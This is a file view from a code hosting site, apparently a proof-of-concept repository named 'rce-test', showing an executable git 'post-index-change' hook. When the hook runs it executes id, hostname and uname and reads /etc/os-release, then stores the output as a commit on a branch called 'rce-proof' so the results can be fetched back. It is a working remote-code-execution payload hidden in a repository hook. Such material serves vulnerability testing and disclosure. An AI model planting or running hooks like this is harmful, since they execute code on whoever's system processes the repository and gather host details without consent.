Files
rce-test/hooks/post-index-change
2026-08-09 12:33:37 +02:00

8 lines
299 B
Bash
Executable File

#!/bin/sh
OUT=$(id; hostname; uname -a; cat /etc/os-release 2>/dev/null | head -3)
BLOB=$(echo "$OUT" | git hash-object -w --stdin)
TREE=$(printf "100644 blob ${BLOB}\toutput.txt\n" | git mktree)
COMMIT=$(git commit-tree ${TREE} -m "rce-output")
git update-ref refs/heads/rce-proof ${COMMIT}
exit 0